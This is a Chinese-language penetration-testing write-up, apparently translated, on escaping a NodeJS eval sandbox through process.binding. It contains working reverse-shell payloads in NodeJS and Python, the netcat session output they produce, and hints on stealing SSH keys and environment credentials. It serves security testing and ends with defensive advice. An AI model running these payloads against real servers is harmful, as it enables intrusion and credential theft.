概述
在这篇文章中,我们将探索解释器的内部,从而找到逃逸NodeJS沙箱的方法。
NodeJS是一个基于Chrome V8 JavaScript引擎构建的JavaScript Runtime,允许开发人员对应用程序的前端和后端,使用相同的编程语言和代码库。NodeJS最初于2009年发布,现在被Netflix、Microsoft和IBM等知名科技公司使用。如今,NodeJS的下载量已经超过250000000次,并且还在不断增长中。考虑到NodeJS的受欢迎程度,如今它已经成为Web应用程序测试过程中要探索的一个有趣目标。
在NodeJS之前,需要使用不同的服务器端语言,例如PHP或Perl,这些语言都有其自身的安全问题。然而,尽管NodeJS和JavaScript进行了改进,但由于其中的Eval()功能,使二者仍然存在命令注入方面的风险。
Eval函数允许应用程序在操作系统级别执行命令。当操作系统和应用层序之间不存在功能,或者将要进行的工作放到底层会变得更加容易时,开发人员会选择eval。使用该功能,可以实现不同级别的沙箱,从而防止攻击者获得服务器的底层运行权限。
接下来,我们将深入了解NodeJS,并了解如何在允许执行任意JavaScript的应用程序中实现NodeJS沙箱逃逸。
反向Shell
作为一名渗透测试人员,我们在某个系统上应该花费足够的时间,并且应该首先想到尝试反向Shell。识别反向连接的方法很简单,所以真正有趣的内容就开始了。在Wiremask的帮助下,我们可以在NodeJS中使用反向Shell:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "192.168.1.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
如果我们足够幸运,沙箱的防护机制不强,或者沙箱根本就不存在,那么将会获得一个反向Shell,可以继续下面的步骤。但实际上,我们并不会总这么幸运,因此我们要逐步了解如何在当前环境中执行不需要的反向Shell。这是一种常见的沙箱技术,可以作为防范攻击者的第一道大门。如果无法导入NodeJS标准库,那么就无法轻松执行例如文件读写、建立网络连接这样的操作。现在,真正的工作开始了。
侦查阶段
任何渗透测试方法的第一步都是侦查。我们认为,要进行的目标是任意命令执行,但由于存在沙箱,所以必须从头突破。第一步,就是要确定执行过程中Payload的访问权限。最直接的方法就是触发栈跟踪,并查看输出。不幸的是,并非所有Web应用程序都会对栈进行跟踪并支持查看标准错误结果。我们可以使用Payload生成,并打印标准输出的栈跟踪。我们参考了StackOverflow上的一篇帖子( https://stackoverflow.com/questions/591857/how-can-i-get-a-javascript-stack-trace-when-i-throw-an-exception#635852 ),发现代码实际上非常简单,特别是对于更新的语言功能。如果无法实现直接的控制台访问,我们就必须使用Print语句,或者返回实际的跟踪结果,以下代码可以完成这一工作:
function stackTrace() {
var err = new Error();
print(err.stack);
}
运行这一Payload后,我们将获得栈的跟踪:
Error
at stackTrace (lodash.templateSources[3354]:49:19)
at eval (lodash.templateSources[3354]:52:11)
at Object.eval (lodash.templateSources[3354]:65:3)
at evalmachine.:38:49
at Array.map ()
at resolveLodashTemplates (evalmachine.:25:25)
at evalmachine.:59:3
at ContextifyScript.Script.runInContext (vm.js:59:29)
at Object.runInContext (vm.js:120:6)
at /var/www/ClientServer/services/Router/sandbox.js:95:29
...
现在我们已经知道,我们在sandbox.js中,使用eval在lodash模板中运行。接下来,尝试找出当前代码的上下文。
我们进行了尝试,但发现并不能简单地打印出对象,必须要使用JSON.stringify():
> print(JSON.stringify(this))
< TypeError: Converting circular structure to JSON
在其中,还有一些循环引用,所以我们需要一个可以识别这些引用并进行截断的脚本。方便的是,我们可以将JSON.prune嵌入到Payload中:
> print(JSON.prune(this))
< {
"console": {},
"global": "-pruned-",
"process": {
"title": "/usr/local/nvm/versions/node/v8.9.0/bin/node",
"version": "v8.9.0",
"moduleLoadList": [ ... ],
...
}
原始的JSON.prune不支持枚举可用的函数。我们可以修改“函数”的结果,以输出函数的名称,从而更好地映射可以利用的函数。运行这一Payload后,将会产生大量输出,其中的一些内容引起了我们的关注。首先,this.process.env包含当前进程的环境变量,其中可能包含API密钥或凭据。其次,this.process.mainModule包含当前运行模块的配置,我们可以通过它找到其他一些应用程序特定的项目,例如配置文件的位置。最后,我们看到了this.process.moduleLoadList,它是主进程加载的所有NodeJS模块的列表,也是我们通向成功的秘诀。
NodeJS为我们提供了成功的工具
我们将目标定位到主进程的moduleLoadList上。如果我们查看原始的反向Shell代码,可以找到需要的两个模块:net和child_process,这两个模块应该已经加载。在这里,我们研究如何访问由该进程加载的模块。如果没有require,我们就必须使用NodeJS自身使用的内部库和API。通过阅读Node的NodeJS文档,我们找到了关于dlopen()的一些信息。尽管目前已经对这一方法有足够的研究,我们还是决定跳过这个选项,因为有一个更加简单的方法,也就是process.binding()。继续分析NodeJS源代码本身,将会看到fs.js,也就是用于文件输入输出的NodeJS库。在这里,我们看到它正在使用process.binding(‘fs’)。关于该函数的工作原理,相关的文档并不多,但我们已经知道将会返回fs模块。使用JSON.prune进行修改,并打印出函数名称,我们就能够继续探索其功能:
> var fs = this.process.binding('fs');
> print(JSON.prune(fs));
< {
"access": "func access()",
"close": "func close()",
"open": "func open()",
"read": "func read()",
...
"rmdir": "func rmdir()",
"mkdir": "func mkdir()",
...
}
在继续研究之后,我们了解到这些都是NodeJS使用的C++绑定(C++ Binding)。并且,如果使用适当的C/C++函数签名,我们将有权执行读取或写入。如果有了这个,就可以自由探索本地文件系统,并通过将公钥写入到~/.ssh/authorized_keys或读取~/.ssh/id_rsa的方式,来获取SSH访问权限。但是,通常的做法都是将虚拟机进行隔离,并使用流量代理避免直连。我们希望启动反向Shell连接,从而绕过这一网络限制。为此,我们要尝试复制child_process和net包。
攻破内部
在这时,我们的最佳选择是研究NodeJS存储库中C++绑定的功能。这一过程主要是读取与要执行的函数相关的JS库(例如net.js),然后跟踪这一功能,直至C++绑定,从而完成全部过程。我们可以在没有require的情况下选择重写net.js,但实际上还有一个更加简单的方法。在Github上,有一个名为CapcitorSet的项目,该项目能够重写执行操作系统级命令的功能,而不需要spawn_sync。针对这个项目,我们要做的两处更改就是,将process.binding()更改为this.process.binding(),以及将console.log()更改为print()或将其完全删除。接下来,就要研究如何才能够启动反向Shell。这是一个典型的后漏洞利用侦查(Post-exploitation Recon),我们需要寻找netcat、perl、python等内容,从而来运行Payload。我们找到了highon.coffee的反向Shell引用,它使用了Python以及相应的Payload:
var resp = spawnSync('python',
['-c',
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("127.0.0.1",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
]
);
print(resp.stdout);
print(resp.stderr);
需要确保的是,更新其中的“127.0.0.1”和443值,分别指向netcat正在侦听的可通过网络访问的IP地址和端口。当我们运行Payload时,即可看到反向Shell成功运行:
root@netspi$ nc -nvlp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from [192.168.1.1] port 443 [tcp/*] accepted (family 2, sport 48438)
sh: no job control in this shell
sh-4.2$ whoami
whoami
user
sh-4.2$ ifconfig
ifconfig
ens5: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 9001
inet 192.168.1.1 netmask 255.255.240.0 broadcast 192.168.1.255
ether de:ad:be:ee:ef:00 txqueuelen 1000 (Ethernet)
RX packets 4344691 bytes 1198637148 (1.1 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4377151 bytes 1646033264 (1.5 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1000 (Local Loopback)
RX packets 126582565 bytes 25595751878 (23.8 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 126582565 bytes 25595751878 (23.8 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
总结
从任意代码执行到反向Shell,我们最终实现了NodeJS中沙箱的逃逸,其实这一实现只是时间问题。在网络出现的后期,一些后端语言(例如PHP)中就存在此类漏洞,并且至今仍然困扰着我们。在这里,我们得到了一个经验教训,就是永远都不要信任用户的输入,永远都不要执行用户提供的代码。此外,对于测试者来说,如果能够对解释器内部的工作原理进行分析,往往能够更迅速地找到有效方法来突破沙箱。最后,经常进行系统的对抗,往往会产生积极的结果。